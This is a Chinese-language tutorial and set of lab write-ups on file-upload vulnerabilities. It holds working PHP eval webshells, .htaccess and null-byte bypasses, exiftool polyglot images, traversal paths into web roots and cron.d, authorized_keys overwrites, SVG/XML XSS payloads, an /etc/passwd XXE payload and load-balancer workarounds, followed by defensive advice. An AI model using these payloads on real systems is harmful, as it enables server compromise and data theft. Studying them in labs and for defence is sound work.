在文章详情页里看到评论区功能在填写评论还能上传头像文件,但是不管上传正常 png 还是 php,都会返回 "Missing parameter"。我以为填写内容问题,把评论区所有内容都正确填写也还是不行,登录后填写页是不行,感觉是功能坏了。

最后还是去到个人中心来上传头像。正常上传 .php、.phtml 文件系统反馈不允许上传 php 文件的错误。
HTTP/2 403 Forbidden
Date: Sat, 14 Mar 2026 12:48:19 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 164
Sorry, php files are not allowed
Sorry, there was an error uploading your file.<p><a href="/my-account" title="Return to previous page">� Back to My Account</a></p>最后是通过上传 .htaccess 完成了 Lab。
上传 .htaccess
POST /my-account/avatar HTTP/2
Host: 0a9d00fc046e278e80df804b00e900c3.web-security-academy.net
Cookie: session=WG7bohLmwf4A4duoXCcqqQfBDe75Tv3d
Content-Length: 445
Cache-Control: max-age=0
Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Origin: https://0a9d00fc046e278e80df804b00e900c3.web-security-academy.net
Dnt: 1
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryiQ342f6HS2AWABAL
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a9d00fc046e278e80df804b00e900c3.web-security-academy.net/my-account?id=wiener
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Priority: u=0, i
------WebKitFormBoundaryiQ342f6HS2AWABAL
Content-Disposition: form-data; name="avatar"; filename=".htaccess"
Content-Type: text/php
AddType application/x-httpd-php .configz
------WebKitFormBoundaryiQ342f6HS2AWABAL
Content-Disposition: form-data; name="user"
wiener
------WebKitFormBoundaryiQ342f6HS2AWABAL
Content-Disposition: form-data; name="csrf"
2gn436rHa3ONTRnoH3YogWj8xvVN4sbf
------WebKitFormBoundaryiQ342f6HS2AWABAL--
HTTP/2 200 OK
Date: Sat, 14 Mar 2026 13:03:08 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 130
The file avatars/.htaccess has been uploaded.<p><a href="/my-account" title="Return to previous page">� Back to My Account</a></p>上传 1.configz
POST /my-account/avatar HTTP/2
Host: 0a9d00fc046e278e80df804b00e900c3.web-security-academy.net
Cookie: session=WG7bohLmwf4A4duoXCcqqQfBDe75Tv3d
Content-Length: 428
Cache-Control: max-age=0
Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Origin: https://0a9d00fc046e278e80df804b00e900c3.web-security-academy.net
Dnt: 1
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryGcatdNjsES1qtsop
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a9d00fc046e278e80df804b00e900c3.web-security-academy.net/my-account?id=wiener
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Priority: u=0, i
------WebKitFormBoundaryGcatdNjsES1qtsop
Content-Disposition: form-data; name="avatar"; filename="1.configz"
Content-Type: text/php
<?php @eval($_GET['a']);
------WebKitFormBoundaryGcatdNjsES1qtsop
Content-Disposition: form-data; name="user"
wiener
------WebKitFormBoundaryGcatdNjsES1qtsop
Content-Disposition: form-data; name="csrf"
2gn436rHa3ONTRnoH3YogWj8xvVN4sbf
------WebKitFormBoundaryGcatdNjsES1qtsop--
HTTP/2 200 OK
Date: Sat, 14 Mar 2026 13:03:44 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 130
The file avatars/1.configz has been uploaded.<p><a href="/my-account" title="Return to previous page">� Back to My Account</a></p>执行命令。
GET /files/avatars/1.configz?a=system('id'); HTTP/2
Host: 0a9d00fc046e278e80df804b00e900c3.web-security-academy.net
Cookie: session=WG7bohLmwf4A4duoXCcqqQfBDe75Tv3d
Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Dnt: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a9d00fc046e278e80df804b00e900c3.web-security-academy.net/my-account?id=wiener
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
If-None-Match: "91c-64cfb6568fcdc"
If-Modified-Since: Sat, 14 Mar 2026 12:48:02 GMT
Priority: u=0, i
HTTP/2 200 OK
Date: Sat, 14 Mar 2026 13:07:19 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 57
uid=12002(carlos) gid=12002(carlos) groups=12002(carlos)
Lab: Web shell upload via obfuscated file extension
题意:这个实验室包含一个易受攻击的图片上传功能。某些文件扩展名被黑名单拦截,但可以通过经典的混淆技术绕过这种防御措施。为了破解实验,上传一个基本的 PHP webshell 然后读取/home/carlos/secret 文件内容. 使用实验室横幅提供的按钮提交这个 Secret。使用以下凭据登录您的帐户:wiener:peter
尝试直接上传 WebShell 提示只能上传 PNG 和 JPG。
POST /my-account/avatar HTTP/2
Host: 0a9a00bb04e54b2480c0a8c3002900c2.web-security-academy.net
Cookie: session=EknIKYVmKRGZhWN7TLp8fdlktqeoscmm
Content-Length: 438
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="133", "Not(A:Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
Origin: https://0a9a00bb04e54b2480c0a8c3002900c2.web-security-academy.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary292iJan1uQbJSDFY
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a9a00bb04e54b2480c0a8c3002900c2.web-security-academy.net/my-account?id=wiener
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
------WebKitFormBoundary292iJan1uQbJSDFY
Content-Disposition: form-data; name="avatar"; filename="1.php"
Content-Type: application/octet-stream
<?php @eval($_GET[a]);
------WebKitFormBoundary292iJan1uQbJSDFY
Content-Disposition: form-data; name="user"
wiener
------WebKitFormBoundary292iJan1uQbJSDFY
Content-Disposition: form-data; name="csrf"
zEsdQ7JOewGlKcrnacACV09y9Lo2dPkh
------WebKitFormBoundary292iJan1uQbJSDFY--
HTTP/2 403 Forbidden
Date: Tue, 17 Mar 2026 08:21:08 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 171
Sorry, only JPG & PNG files are allowed
Sorry, there was an error uploading your file.<p><a href="/my-account" title="Return to previous page">� Back to My Account</a></p>尝试下面两种绕过都失败:
- 后缀尝试
1.phphpp、1.PHP、1.jpg.php、1.html和常见的php2、phtml等后缀。 - 文件类型尝试
Content-Type: image/png。
最后通过 1.php%00.png 成功绕过后缀检查,最终在写入的时候截断成 1.php。
不知道为啥目标 PHP 版本是 7.4.3 也能成功截断。
Lab: Remote code execution via polyglot web shell upload
题意:这个实验室包含一个易受攻击的图片上传功能。尽管它检查文件内容以验证其为真实图片,但仍有可能上传并执行服务器端代码。为了破解实验,上传一个基本的 PHP WebShell 然后读取/home/carlos/secret 文件内容. 使用实验室横幅提供的按钮提交这个 Secret。使用以下凭据登录您的帐户:wiener:peter
说验证文件内容,那第一反应就是检查文件头。
正常上传 PHP 文件,反应不是有效的图片。
POST /my-account/avatar HTTP/2
Host: 0a7c00960313235d806fb21c006b00bb.web-security-academy.net
Cookie: session=8bdiknit2BfZFjV4F1U1dvMIKQ535fcX
Content-Length: 437
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="133", "Not(A:Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
Origin: https://0a7c00960313235d806fb21c006b00bb.web-security-academy.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygWh0Ujnp9dKhBwMi
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a7c00960313235d806fb21c006b00bb.web-security-academy.net/my-account?id=wiener
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
------WebKitFormBoundarygWh0Ujnp9dKhBwMi
Content-Disposition: form-data; name="avatar"; filename="1.php"
Content-Type: application/octet-stream
<?php @eval($_GET[a]);
------WebKitFormBoundarygWh0Ujnp9dKhBwMi
Content-Disposition: form-data; name="user"
wiener
------WebKitFormBoundarygWh0Ujnp9dKhBwMi
Content-Disposition: form-data; name="csrf"
TqiTlWUE6zKItLVZ8jHhDj4QJVmMhAKI
------WebKitFormBoundarygWh0Ujnp9dKhBwMi--
HTTP/2 403 Forbidden
Date: Tue, 17 Mar 2026 09:19:14 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 164
Error: file is not a valid image
Sorry, there was an error uploading your file.<p><a href="/my-account" title="Return to previous page">� Back to My Account</a></p>在文件内容上面手动添加 HEX 文件头还是有问题。
说不定是检查图片大小呢?在正常图片内容追加 WebShell,先以图片格式上传试试,先过掉内容问题。
echo "<?php @eval($_GET[a]);" >> ScreenShot_2026-03-17_172516_828.png以追加的方式图片正常能打开,用 .png 后缀上传成功,但后缀改为 .php 上传后端回显说图片有问题,接下来就是看看怎么过掉后缀检测了。
试了所有绕过方法发现都无效,实在无奈看的 WP,其实根本没有后缀校验,只是看图片是否有效。发现人家用的是 exiftool 在 jpg 图片 Comment 字段写入的 Shell,这样不影响图片结构,图片又能通过程序有效性检查。
exiftool -Comment="<?php echo 'START ' . file_get_contents('/home/carlos/secret') . ' END'; ?>" <YOUR-INPUT-IMAGE>.jpg -o 3.php┌──(root㉿raingray)-[~/Desktop]
└─# exiftool -a -u -g1 3.png
---- ExifTool ----
ExifTool Version Number : 13.44
---- System ----
File Name : 3.png
Directory : .
File Size : 446 bytes
File Modification Date/Time : 2026:03:17 18:04:12+08:00
File Access Date/Time : 2026:03:17 18:19:07+08:00
File Inode Change Date/Time : 2026:03:17 18:19:02+08:00
File Permissions : -rw-r--r--
---- File ----
File Type : PNG
File Type Extension : png
MIME Type : image/png
---- PNG ----
Image Width : 134
Image Height : 106
Bit Depth : 8
Color Type : RGB
Compression : Deflate/Inflate
Filter : Adaptive
Interlace : Noninterlaced
Comment : <?php echo 'START ' . file_get_contents('/home/carlos/secret') . ' END'; ?>
---- PNG-pHYs ----
Pixels Per Unit X : 3740
Pixels Per Unit Y : 3740
Pixel Units : meters
---- Composite ----
Image Size : 134x106
Megapixels : 0.014我这里尝试用 png 也成功了。如果是写一句话 Shell,在双引号的情况下一定要给 $ 转义下,因为在 Linux 下 $ 意思是获取变量的值,而 _GET 是变量名,取不到值会变成 <?php @eval(['a']); ?>。要么外层就用单引号(最重要的是写完要检查一遍结果,避免失败了还不知道原因,这次在这点上浪费很多时间)。
┌──(root㉿raingray)-[~/Desktop]
└─# exiftool -Comment="<?php @eval(\$_GET['a']); ?>" raw.png -o 3.php
1 image files created
┌──(root㉿raingray)-[~/Desktop]
└─# exiftool -a -u -g1 3.php
---- ExifTool ----
ExifTool Version Number : 13.44
---- System ----
File Name : 3.php
Directory : .
File Size : 469 bytes
File Modification Date/Time : 2026:03:18 10:46:27+08:00
File Access Date/Time : 2026:03:18 10:46:33+08:00
File Inode Change Date/Time : 2026:03:18 10:46:27+08:00
File Permissions : -rw-r--r--
---- File ----
File Type : PNG
File Type Extension : png
MIME Type : image/png
---- PNG ----
Image Width : 214
Image Height : 125
Bit Depth : 8
Color Type : RGB
Compression : Deflate/Inflate
Filter : Adaptive
Interlace : Noninterlaced
Comment : <?php @eval($_GET['a']); ?>
---- PNG-pHYs ----
Pixels Per Unit X : 3740
Pixels Per Unit Y : 3740
Pixel Units : meters
---- Composite ----
Image Size : 214x125
Megapixels : 0.027只查看 Common 可以这样写。
┌──(root㉿raingray)-[~/Desktop] └─# exiftool -Comment 3.php Comment : <?php @eval($_GET['a']); ?>
这里又尝试新解法,将 Shell 写入 User Comment 字段,上传还是无效。

┌──(root㉿raingray)-[~/Desktop]
└─# exiftool -UserComment 2.png
User Comment : <?php @eval($_GET[a]);具体为什么 User Comment 上传上去无法解析?通过 Shell 读取源码才得知,在修改 User Comment 或者在图片后面追加数据,虽然图片能正常浏览但 getimagesize 函数解析不出来数据,就不认为是有效图片。
$target_dir = "avatars/";
$target_file = $target_dir . $_FILES["avatar"]["name"];
$uploadOk = true;
// Check if image file is a actual image or fake image
if (!getimagesize($_FILES["avatar"]["tmp_name"])) {
echo "Error: file is not a valid image\n";
$uploadOk = false;
}
if ($uploadOk && move_uploaded_file($_FILES["avatar"]["tmp_name"], $target_file)) {
echo "The file ". htmlspecialchars( $target_file). " has been uploaded.";
} else {
echo "Sorry, there was an error uploading your file.";
http_response_code(403);
}
?><p><a href="/my-account" title="Return to previous page">� Back to My Account</a></p>那只能 Common 字段能写入吗?是不是其他字段也行,针对这个 Lab 整理了 png 和 jpg 图片中可写的字段且上传能够被解析的字段。
# png 图片可用字段
for tag in Comment Description Title Copyright Software Disclaimer Source; do
exiftool -"${tag}=<?php @eval(\$_GET[\"a\"]); ?>" raw.png -o "${tag}.php"
done
# jpg 图片可用字段
for tag in Comment ImageDescription Artist Copyright Caption-Abstract Keywords UserComment; do
exiftool -"${tag}=<?php @eval(\$_GET[\"a\"]); ?>" raw.jpg -o "${tag}.php"
doneupload-labs
https://github.com/sqlsec/upload-labs-docker
实战利用
WebShell
通过 ../ 目录遍历来切换目录上传 WebShell,要么上传现有的目录中,要么切换到默认目录下。
../../../../../../../../../../../home/app/tomcat/webapps/
../../../../../../../../../../..//usr/local/tomcat/webapps
../../../../../../../../../../..//opt/tomcat/webapps
../../../../../../../../../../..//usr/local/apache-tomcat-9.0/webapps
../../../../../../../../../../../var/www/html/
../../../../../../../../../../../home/www/测试的时候不要直接写 Shell,应当先通过表达式验证是否能够解析。
任务计划
如果目标以 root 权限运行应用,且上传功能不校验文件内容,那么用目录穿越将文件传到 /etc/cron.d/ 下,因为 cron.d 目录里文件不在乎名称只要内容格式是正确的就有可能被执行。
XSS
传 .html、.svg、.xml 打 XSS。
.svg
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert(document.domain);
</script>
</svg><svg><desc><![CDATA[</desc><script>alert(1)</script>]]></svg>.xml
<html>
<head></head>
<body>
<something:script src="http://localhost/1.js"
xmlns:something="http://www.w3.org/1999/xhtml">
</something:script>
</body>
</html><html>
<head></head>
<body>
<something:script xmlns:something="http://www.w3.org/1999/xhtml">alert(1)</something:script>
<a:script xmlns:a="http://www.w3.org/1999/xhtml">alert(2)</a:script>
<info>
<name>
<value><![CDATA[<script>confirm(document.domain)</script>]]></value>
</name>
<description>
<value>Hello</value>
</description>
<url>
<value>http://google.com</value>
</url>
</info>
</body>
</html>有些上传文件会用 Data URL 的方式来上传图片,可以参见 data URI scheme 小节进行利用。
SSTI
传模板文件尝试 SSTI,通过模板来执行命令。
XXE
利用技巧 1,文件上传 xlsx 文件
业务场景:有时应用会解析 excel 内文件数据(POI-OOXML)作为内容进行数据处理最终展示内容。
利用方法:
- Windows 下创建 xx.xlsx 文件
- 将文件放到 Linux 中,执行
unzip xx.xlsx -d ./right解压 - 将压缩包内
[Content_Types].xml文件添加 XXE Payload。如果无法获取到请求,可以把 standalone 改为 flag。

zip -rq eval.xlsx right将 right 目录理所有内容重新压缩回 eval.xlsx。- 上传文件,查看是否收到 XXE Request 或者文件内容。
利用技巧 2,在 doc、docx 文件也可以解压编辑 word/document.xml 或 docProps/app.xml,往里插入 XXE Payload。自动化工具可以用 oxml_xxe。
利用技巧 3,文件上传 svg 文件
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]>
<svg width="500px" height="500px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1
<text font-size="40" x="0" y="16">&xxe;</text>
</svg>Overlay File
覆盖文件最终结果是要执行你的上传的内容,能否执行要看启动 Web 服务的账户有没权限做操作。
- 覆盖计划任务。当前是 root 权限可以覆盖计划任务文件直接反弹 Shell。
- 上传公钥。 当前服务器开启了 SSH 服务,启动了公钥登录,你知道用户 home 目录 的情况下覆盖
/root/<UserName>/.ssh/authorized_keys文件(只有当前用户和 root 能够访问自己 home 目录),用 SSH 登录。 - 覆盖系统程序。有些应用存在任务调度功能,可以定时执行系统上某些程序,通过覆盖这些程序,下次运行时将自动执行恶意程序。
DoS
https://github.com/barrracud4/image-upload-exploits
应用不限制上传文件的大小,可以上传超大文件耗尽流量、写满磁盘、高IO导致应用运行缓慢或者瘫痪。
防御
- 代码采用白名单校验扩展名。
- 对前端传来的图片采用伪随机数命名(时间戳加上伪随机数),防止文件覆盖。不返回上传后的路径,增加找攻击者 Shell 的难度。
- 对图片二次处理(其他语言也有对应图片处理库),就算你上传脚本,渲染后图片中代码会被破坏掉无法正常解析。
- 限制上传文件大小,以避免服务器资源耗尽(最低成本 DDOS)。
- 取消上传目录执行权限(未测试),IIS 可以用 Web.config 配置,其他 Web 容器需要搜索下资料。
- 可以将放置图片单独放在一台服务器或云存储,脚本在图片服务器上没有执行环境不能被解析。
- 使用新版本 WebServer 做好安全配置;避免 Web 服务器低版本漏洞和不安全配置问题。
问题
后续需要把这些问题融合到文章中。
问:其他 WebServer 可以支持 htaccess 吗?还是说只有 Apache 能够使用。答:IIS 也有 Web.config 可达到相同效果
问:在实战中会遇到各种奇怪的情景,这里提供一个实际场景,有一个上传点只能 Upload DLL 文件,代码直接读取文件名来决定文件存储位置,这时候你如何利用?
答:CGI-BIN 目录能不能上传。其他没法子。
问:任意文件上传 PDF XSS 如何利用?
答:目标要用了 pdf.js 页可以利用达到执行 JavaScript 代码的效果,只是普通的 PDF XSS 没有风险较小,顶多就像网上的案例一样弹框。
问:现在应用有些用 SpringBoot 写完打包程 jar 包运行,现在只能上传 .jar 咋利用?
答:没法子。
问:文件上传测试步骤?
答:
文件上传功能正常。
- 上传到 OSS
- 自建服务器
- 能够上传脚本后缀文件。
能够找到文件路径并成功访问被解析。
- 上传后返回文件 ID
- 上传路径是动态的
问:找不到路径怎么办?
答:
- 通过其他漏洞获取路径,比如 SQL 注入获取站点路径及路径下对应文件。
- 任意文件读取,获取源码分析怎么保存文件。
- 更改上传参数抛异常显示路径。基本不可能遇到。
- 通过 JS 有没可能写入目录拼接。
- 当前上传功能不显示,可以看看其他静态文件是否与上传文件目录一致。
- 找 robots.txt
- 扫目录
问:脚本不解析怎么办?
答:
- 上传 shtml 尝试执行 SSI。
- 上传 html
- 上传 .htaccess。上传后要被重命名基本凉凉,而且 WebServer 必须是 Apache。
- 更改目录或文件名参数,上传到其他目录。
- 上传文件后缀大小写更改,或者尝试其他后缀,因为有些 WebServer 能解析其他文件后缀。
- 宝塔配置漏洞,所有 php 命名的文件被解析。
- 尝试目录穿越Web容器路径,比如
../../../../../.././usr/local/tomcat/webapps/1.jsp,如果这个目录传上去了访问不到是因为大多数 jsp 解析是以 webapps 里面的目录为应用根目录,在根目录外是解析不到的,所以上传可以尝试现有的目录名,如果这个目录名不存在应用可能会自己创建,比如上传文件名称参数值尝试跨目录../../../../../.././usr/local/tomcat/webapps/mainapp/1.jsp,这里应用根目录是 mainapp,应用如果发现上传的这个目录不存在有可能先创建出来再写入 1.jsp,上传完成后访问mainapp/1.jsp就行。 - 如果知道 Tomcat 绝对路径,可以先用
jar -cvf test.war .把当前目录下的所有文件打成 test.war 包,直接穿越目录上传到 webapps 下../../../../../.././usr/local/tomcat/webapps/test.war,默认情况下这个目录下面文件发生变动 Tomcat 会定时自动热部署,默认值 10 秒。
问:什么是图片马
答:将代码放在图片尾部不会破坏图片展示,文件后缀还是脚本格式,这就是图片马,可以用作检测文件内容绕过。在文件包含中是指在后面添加 PHP 代码,但是不影响图片展示,去包含这张图片执行 PHP 代码。
问:遇到 LBS(负载均衡) 如何解决?
答:
- 多次上传,确保每台服务器上都有 WebShell
- 使用脚本流量转发到指定服务器。https://mp.weixin.qq.com/s/4Bmz_fuu0yrLMK1oBKKtRA
- 服务器如果在公网的情况下直接访问 IP(不过负载通常都是内网 IP)
- 一般访问应用后负载均衡中会颁发一个会话,可以通过会话固定来访问后面的服务器,避免随机。更通俗的来说,看看上传请求中有没标识可以选择后端应用,比如根据 Cookie 字段来决定使用那台服务器。
- 看看研发怎么解决这个问题,就能找到思路,搜索 “负载均衡 文件上传”。
参考链接
- [红日安全]Web安全Day5 - 任意文件上传实战攻防
- 文件隐藏 之 NTFS 交换数据流,在文件上传时也可用
- 文件寄生——寻找宿主的不归路(NTFS文件流实际应用),原理和上传时如何利用
- NTFS 交换数据流,Payload 原理解释的很好
最近更新:
发布时间: